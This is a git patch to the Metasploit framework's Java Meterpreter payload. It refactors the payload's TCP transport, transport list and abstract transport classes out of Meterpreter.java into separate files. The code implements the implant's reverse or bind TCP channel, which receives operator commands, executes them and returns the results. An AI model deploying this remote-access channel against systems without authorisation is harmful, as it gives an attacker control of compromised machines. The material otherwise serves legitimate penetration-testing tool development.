From f03ad1429221fabc4e9cfd1140b65da5cb718a72 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 24 Jun 2015 20:22:09 +1000 Subject: [PATCH] Move new classes into the proper locations --- .../metasploit/meterpreter/Meterpreter.java | 365 +----------------- .../com/metasploit/meterpreter/TLVPacket.java | 3 + .../metasploit/meterpreter/TcpTransport.java | 165 ++++++++ .../com/metasploit/meterpreter/Transport.java | 81 ++++ .../metasploit/meterpreter/TransportList.java | 49 +++ 5 files changed, 308 insertions(+), 355 deletions(-) create mode 100644 java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java create mode 100644 java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java create mode 100644 java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TransportList.java diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index 27164f99..e9bc700c 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -8,10 +8,6 @@ import java.io.EOFException; import java.io.IOException; import java.io.OutputStream; import java.io.PrintStream; -import java.net.ServerSocket; -import java.net.Socket; -import java.net.SocketException; -import java.net.SocketTimeoutException; import java.net.URL; import java.net.URLClassLoader; import java.net.URLConnection; @@ -34,315 +30,19 @@ public class Meterpreter { public static final int UUID_LEN = 16; public static final int URL_LEN = 512; + private List/* */channels = new ArrayList(); + private final CommandManager commandManager; + private final Random rnd = new Random(); + private final ByteArrayOutputStream errBuffer; + private final PrintStream err; + private final boolean loadExtensions; + private List/* */tlvQueue = null; + + private final TransportList transports = new TransportList(); private byte[] uuid; private long sessionExpiry; - private class TransportList { - private Transport transport = null; - private Transport nextTransport = null; - private long wait = 0; - - public boolean isEmpty() { - return this.transport == null; - } - - public Transport current() { - return this.transport; - } - - public boolean changeRequested() { - return this.nextTransport != null; - } - - public void next(Meterpreter met) { - if (this.wait > 0) { - met.sleep(this.wait); - this.wait = 0; - } - - if (this.nextTransport == null) { - this.transport = this.transport.getNext(); - } else { - this.transport = this.nextTransport; - this.nextTransport = null; - } - } - - public void add(Transport t) { - if (this.transport == null) { - // first transport, point it at itself - t.setNext(t); - t.setPrev(t); - this.transport = t; - } else { - // wire it into the end of the circular list - this.transport.getPrev().setNext(t); - t.setPrev(this.transport.getPrev()); - t.setNext(this.transport); - this.transport.setPrev(t); - } - } - } - - private abstract class Transport { - private Transport prev; - private Transport next; - - protected String url; - protected long commTimeout; - protected long retryTotal; - protected long retryWait; - - protected Transport(String url) { - this.url = url; - } - - protected int parseTimeouts(byte[] configuration, int offset) { - // starts with the comms timeout - this.commTimeout = 1000L * Meterpreter.unpack32(configuration, offset); - System.out.println("msf : Comm timeout ms: " + this.commTimeout); - offset += 4; - - // then we have the retry total - this.retryTotal = 1000L * Meterpreter.unpack32(configuration, offset); - System.out.println("msf : Retry total ms: " + this.retryTotal); - offset += 4; - - // then we have the retry wait - this.retryWait = 1000L * Meterpreter.unpack32(configuration, offset); - System.out.println("msf : Retry Wait ms: " + this.retryWait); - offset += 4; - - return offset; - } - - protected abstract boolean tryConnect(Meterpreter met) throws IOException; - - public abstract int parseConfig(byte[] configuration, int offset); - public abstract void bind(DataInputStream in, OutputStream rawOut); - public abstract void disconnect(); - public abstract boolean dispatch(Meterpreter met, CommandManager commandManager); - - public boolean connect(Meterpreter met) { - long lastAttempt = System.currentTimeMillis(); - - while (System.currentTimeMillis() < lastAttempt + this.retryTotal) { - try { - if (this.tryConnect(met)) { - return true; - } - } catch (Exception e) { - } - - met.sleep(this.retryWait); - } - - return false; - } - public void setPrev(Transport t) { - this.prev = t; - } - - public void setNext(Transport t) { - this.next = t; - } - - public Transport getPrev() { - return this.prev; - } - - public Transport getNext() { - return this.next; - } - } - - private class TcpTransport extends Transport { - private Socket sock = null; - private DataInputStream inputStream = null; - private DataOutputStream outputStream = null; - private String host; - private int port; - - public TcpTransport(String url) { - super(url); - - int portStart = url.lastIndexOf(":"); - this.port = Integer.parseInt(url.substring(portStart + 1)); - this.host = url.substring(url.lastIndexOf("/") + 1, portStart); - System.out.println("msf : Host: " + this.host); - System.out.println("msf : Port: " + this.port); - } - - public void bind(DataInputStream in, OutputStream rawOut) { - this.inputStream = in; - this.outputStream = new DataOutputStream(rawOut); - } - - public int parseConfig(byte[] configuration, int offset) { - return this.parseTimeouts(configuration, offset); - } - - public void disconnect() { - if (this.inputStream != null) { - try { - this.inputStream.close(); - } - catch (IOException ex) { - } - this.inputStream = null; - } - if (this.outputStream != null) { - try { - this.outputStream.close(); - } - catch (IOException ex) { - } - this.outputStream = null; - } - if (this.sock != null) { - try { - this.sock.close(); - } - catch (IOException ex) { - } - this.sock = null; - } - } - - private void flushInputStream() throws IOException { - // we can assume that the server is trying to send the second - // stage at this point, so let's just read that in for now. - System.out.println("msf : Flushing the input stream"); - // this includes 4 blobs of stuff we don't want - for (int i = 0; i < 4; i++) { - System.out.println("msf : Flushing the input stream: " + i); - int blobLen = this.inputStream.readInt(); - System.out.println("msf : Discarding bytes: " + blobLen); - byte[] throwAway = new byte[blobLen]; - this.inputStream.readFully(throwAway); - } - } - - protected boolean tryConnect(Meterpreter met) throws IOException { - if (this.inputStream != null) { - // we're already connected - System.out.println("msf : Connecting on existing transport"); - return true; - } - - if (this.host.equals("")) { - ServerSocket server = new ServerSocket(this.port); - this.sock = server.accept(); - server.close(); - } else { - this.sock = new Socket(this.host, this.port); - } - - if (this.sock != null) { - this.sock.setSoTimeout(500); - this.inputStream = new DataInputStream(this.sock.getInputStream()); - this.outputStream = new DataOutputStream(this.sock.getOutputStream()); - - // this point we are effectively stageless, so flush the socket - this.flushInputStream(); - - return true; - } - - return false; - } - - /* - * - private TLVPacket executeCommand(TLVPacket request) throws IOException { - TLVPacket response = new TLVPacket(); - String method = request.getStringValue(TLVType.TLV_TYPE_METHOD); - if (method.equals("core_switch_url")) { - String url = request.getStringValue(TLVType.TLV_TYPE_STRING); - int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT); - int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH); - pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout); - return null; - } else if (method.equals("core_shutdown")) { - return null; - } - TLVPacket response = new TLVPacket(); - String method = request.getStringValue(TLVType.TLV_TYPE_METHOD); - response.add(TLVType.TLV_TYPE_METHOD, method); - response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID)); - Command cmd = commandManager.getCommand(method); - int result; - try { - result = cmd.execute(this, request, response); - } catch (Throwable t) { - t.printStackTrace(getErrorStream()); - result = Command.ERROR_FAILURE; - } - TLVPacket response = new TLVPacket(); - String method = request.getStringValue(TLVType.TLV_TYPE_METHOD); - response.add(TLVType.TLV_TYPE_METHOD, method); - response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID)); - Command cmd = commandManager.getCommand(method); - int result; - try { - result = cmd.execute(this, request, response); - } catch (Throwable t) { - t.printStackTrace(getErrorStream()); - result = Command.ERROR_FAILURE; - } - response.add(TLVType.TLV_TYPE_RESULT, result); - return response; - } - */ - - public boolean dispatch(Meterpreter met, CommandManager commandManager) { - System.out.println("msf : In the dispatch loop"); - long lastPacket = System.currentTimeMillis(); - while (!met.hasSessionExpired() && - System.currentTimeMillis() < lastPacket + this.commTimeout) { - try { - System.out.println("msf : Waiting for packet"); - int len = this.inputStream.readInt(); - int type = this.inputStream.readInt(); - TLVPacket request = new TLVPacket(this.inputStream, len - 8); - - System.out.println("msf : Packet received"); - - // got a packet, update the timestamp - lastPacket = System.currentTimeMillis(); - - TLVPacket response = request.createResponse(); - int result = commandManager.executeCommand(met, request, response); - - byte[] data = response.toByteArray(); - synchronized (this.outputStream) { - System.out.println("msf : sending response"); - this.outputStream.writeInt(data.length + 8); - this.outputStream.writeInt(PACKET_TYPE_RESPONSE); - this.outputStream.write(data); - this.outputStream.flush(); - System.out.println("msf : sent response"); - } - - if (result == Command.EXIT_DISPATCH) { - return true; - } - } catch (SocketTimeoutException ex) { - // socket comms timeout, didn't get a packet, - // this is ok, so we ignore it - System.out.println("msf : Socket timeout (OK)"); - } catch (Exception ex) { - // any other type of exception isn't good. - System.out.println("msf : Some other exception: " + ex.getClass().getName()); - break; - } - } - - // if we get here we assume things aren't good. - return false; - } - } private void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) { System.out.println("msf : Parsing configuration"); @@ -419,18 +119,6 @@ public class Meterpreter { return res; } - private static final int PACKET_TYPE_REQUEST = 0; - private static final int PACKET_TYPE_RESPONSE = 1; - - private List/* */channels = new ArrayList(); - private final CommandManager commandManager; - private final Random rnd = new Random(); - private final ByteArrayOutputStream errBuffer; - private final PrintStream err; - private final boolean loadExtensions; - private List/* */tlvQueue = null; - - /** * Initialize the meterpreter. * @@ -516,38 +204,6 @@ public class Meterpreter { return "com.metasploit.meterpreter.PayloadTrustManager"; } - ///** - // * Execute a command request. - // * - // * @param request The request to execute - // * @return The response packet to send back - // */ - //private TLVPacket executeCommand(TLVPacket request) throws IOException { - // TLVPacket response = new TLVPacket(); - // String method = request.getStringValue(TLVType.TLV_TYPE_METHOD); - // if (method.equals("core_switch_url")) { - // String url = request.getStringValue(TLVType.TLV_TYPE_STRING); - // int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT); - // int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH); - // pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout); - // return null; - // } else if (method.equals("core_shutdown")) { - // return null; - // } - // response.add(TLVType.TLV_TYPE_METHOD, method); - // response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID)); - // Command cmd = commandManager.getCommand(method); - // int result; - // try { - // result = cmd.execute(this, request, response); - // } catch (Throwable t) { - // t.printStackTrace(getErrorStream()); - // result = Command.ERROR_FAILURE; - // } - // response.add(TLVType.TLV_TYPE_RESULT, result); - // return response; - //} - /** * Poll from a given URL until a shutdown request is received. * @@ -717,8 +373,7 @@ public class Meterpreter { requestID[i] = (char) ('A' + rnd.nextInt(26)); } tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID)); - // TODO: put this back in - //writeTLV(PACKET_TYPE_REQUEST, tlv); + this.transports.current().writePacket(tlv, TLVPacket.PACKET_TYPE_REQUEST); } /** diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java index 32b194f4..706d68b2 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java @@ -20,6 +20,9 @@ import java.util.Map; public class TLVPacket { // constants + public static final int PACKET_TYPE_REQUEST = 0; + public static final int PACKET_TYPE_RESPONSE = 1; + public static final int TLV_META_TYPE_NONE = 0; public static final int TLV_META_TYPE_STRING = (1 << 16); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java new file mode 100644 index 00000000..572db312 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java @@ -0,0 +1,165 @@ +package com.metasploit.meterpreter; + +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.OutputStream; +import java.io.IOException; + +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketException; +import java.net.SocketTimeoutException; + +import com.metasploit.meterpreter.command.Command; + +public class TcpTransport extends Transport { + private Socket sock = null; + private DataInputStream inputStream = null; + private DataOutputStream outputStream = null; + private String host; + private int port; + + public TcpTransport(String url) { + super(url); + + int portStart = url.lastIndexOf(":"); + this.port = Integer.parseInt(url.substring(portStart + 1)); + this.host = url.substring(url.lastIndexOf("/") + 1, portStart); + System.out.println("msf : Host: " + this.host); + System.out.println("msf : Port: " + this.port); + } + + public void bind(DataInputStream in, OutputStream rawOut) { + this.inputStream = in; + this.outputStream = new DataOutputStream(rawOut); + } + + public int parseConfig(byte[] configuration, int offset) { + return this.parseTimeouts(configuration, offset); + } + + public void disconnect() { + if (this.inputStream != null) { + try { + this.inputStream.close(); + } + catch (IOException ex) { + } + this.inputStream = null; + } + if (this.outputStream != null) { + try { + this.outputStream.close(); + } + catch (IOException ex) { + } + this.outputStream = null; + } + if (this.sock != null) { + try { + this.sock.close(); + } + catch (IOException ex) { + } + this.sock = null; + } + } + + protected boolean tryConnect(Meterpreter met) throws IOException { + if (this.inputStream != null) { + // we're already connected + System.out.println("msf : Connecting on existing transport"); + return true; + } + + if (this.host.equals("")) { + ServerSocket server = new ServerSocket(this.port); + this.sock = server.accept(); + server.close(); + } else { + this.sock = new Socket(this.host, this.port); + } + + if (this.sock != null) { + this.sock.setSoTimeout(500); + this.inputStream = new DataInputStream(this.sock.getInputStream()); + this.outputStream = new DataOutputStream(this.sock.getOutputStream()); + + // this point we are effectively stageless, so flush the socket + this.flushInputStream(); + + return true; + } + + return false; + } + + public TLVPacket readPacket() throws IOException { + int len = this.inputStream.readInt(); + int type = this.inputStream.readInt(); + return new TLVPacket(this.inputStream, len - 8); + } + + public void writePacket(TLVPacket packet, int type) throws IOException { + byte[] data = packet.toByteArray(); + synchronized (this.outputStream) { + System.out.println("msf : sending response"); + this.outputStream.writeInt(data.length + 8); + this.outputStream.writeInt(type); + this.outputStream.write(data); + this.outputStream.flush(); + System.out.println("msf : sent response"); + } + } + + public boolean dispatch(Meterpreter met, CommandManager commandManager) { + System.out.println("msf : In the dispatch loop"); + long lastPacket = System.currentTimeMillis(); + while (!met.hasSessionExpired() && + System.currentTimeMillis() < lastPacket + this.commTimeout) { + try { + System.out.println("msf : Waiting for packet"); + TLVPacket request = this.readPacket(); + + System.out.println("msf : Packet received"); + + // got a packet, update the timestamp + lastPacket = System.currentTimeMillis(); + + TLVPacket response = request.createResponse(); + int result = commandManager.executeCommand(met, request, response); + + this.writePacket(response, TLVPacket.PACKET_TYPE_RESPONSE); + + if (result == Command.EXIT_DISPATCH) { + return true; + } + } catch (SocketTimeoutException ex) { + // socket comms timeout, didn't get a packet, + // this is ok, so we ignore it + System.out.println("msf : Socket timeout (OK)"); + } catch (Exception ex) { + // any other type of exception isn't good. + System.out.println("msf : Some other exception: " + ex.getClass().getName()); + break; + } + } + + // if we get here we assume things aren't good. + return false; + } + + private void flushInputStream() throws IOException { + // we can assume that the server is trying to send the second + // stage at this point, so let's just read that in for now. + System.out.println("msf : Flushing the input stream"); + // this includes 4 blobs of stuff we don't want + for (int i = 0; i < 4; i++) { + System.out.println("msf : Flushing the input stream: " + i); + int blobLen = this.inputStream.readInt(); + System.out.println("msf : Discarding bytes: " + blobLen); + byte[] throwAway = new byte[blobLen]; + this.inputStream.readFully(throwAway); + } + } +} diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java new file mode 100644 index 00000000..1ac4f0d7 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java @@ -0,0 +1,81 @@ +package com.metasploit.meterpreter; + +import java.io.DataInputStream; +import java.io.OutputStream; +import java.io.IOException; + +public abstract class Transport { + private Transport prev; + private Transport next; + + protected String url; + protected long commTimeout; + protected long retryTotal; + protected long retryWait; + + protected abstract boolean tryConnect(Meterpreter met) throws IOException; + + public abstract int parseConfig(byte[] configuration, int offset); + public abstract void bind(DataInputStream in, OutputStream rawOut); + public abstract void disconnect(); + public abstract boolean dispatch(Meterpreter met, CommandManager commandManager); + public abstract void writePacket(TLVPacket packet, int type) throws IOException; + public abstract TLVPacket readPacket() throws IOException; + + protected Transport(String url) { + this.url = url; + } + + protected int parseTimeouts(byte[] configuration, int offset) { + // starts with the comms timeout + this.commTimeout = 1000L * Meterpreter.unpack32(configuration, offset); + System.out.println("msf : Comm timeout ms: " + this.commTimeout); + offset += 4; + + // then we have the retry total + this.retryTotal = 1000L * Meterpreter.unpack32(configuration, offset); + System.out.println("msf : Retry total ms: " + this.retryTotal); + offset += 4; + + // then we have the retry wait + this.retryWait = 1000L * Meterpreter.unpack32(configuration, offset); + System.out.println("msf : Retry Wait ms: " + this.retryWait); + offset += 4; + + return offset; + } + + public boolean connect(Meterpreter met) { + long lastAttempt = System.currentTimeMillis(); + + while (System.currentTimeMillis() < lastAttempt + this.retryTotal) { + try { + if (this.tryConnect(met)) { + return true; + } + } catch (Exception e) { + } + + met.sleep(this.retryWait); + } + + return false; + } + + public void setPrev(Transport t) { + this.prev = t; + } + + public void setNext(Transport t) { + this.next = t; + } + + public Transport getPrev() { + return this.prev; + } + + public Transport getNext() { + return this.next; + } +} + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TransportList.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TransportList.java new file mode 100644 index 00000000..563f951c --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TransportList.java @@ -0,0 +1,49 @@ +package com.metasploit.meterpreter; + +public class TransportList { + private Transport transport = null; + private Transport nextTransport = null; + private long wait = 0; + + public boolean isEmpty() { + return this.transport == null; + } + + public Transport current() { + return this.transport; + } + + public boolean changeRequested() { + return this.nextTransport != null; + } + + public void next(Meterpreter met) { + if (this.wait > 0) { + met.sleep(this.wait); + this.wait = 0; + } + + if (this.nextTransport == null) { + this.transport = this.transport.getNext(); + } else { + this.transport = this.nextTransport; + this.nextTransport = null; + } + } + + public void add(Transport t) { + if (this.transport == null) { + // first transport, point it at itself + t.setNext(t); + t.setPrev(t); + this.transport = t; + } else { + // wire it into the end of the circular list + this.transport.getPrev().setNext(t); + t.setPrev(this.transport.getPrev()); + t.setNext(this.transport); + this.transport.setPrev(t); + } + } +} +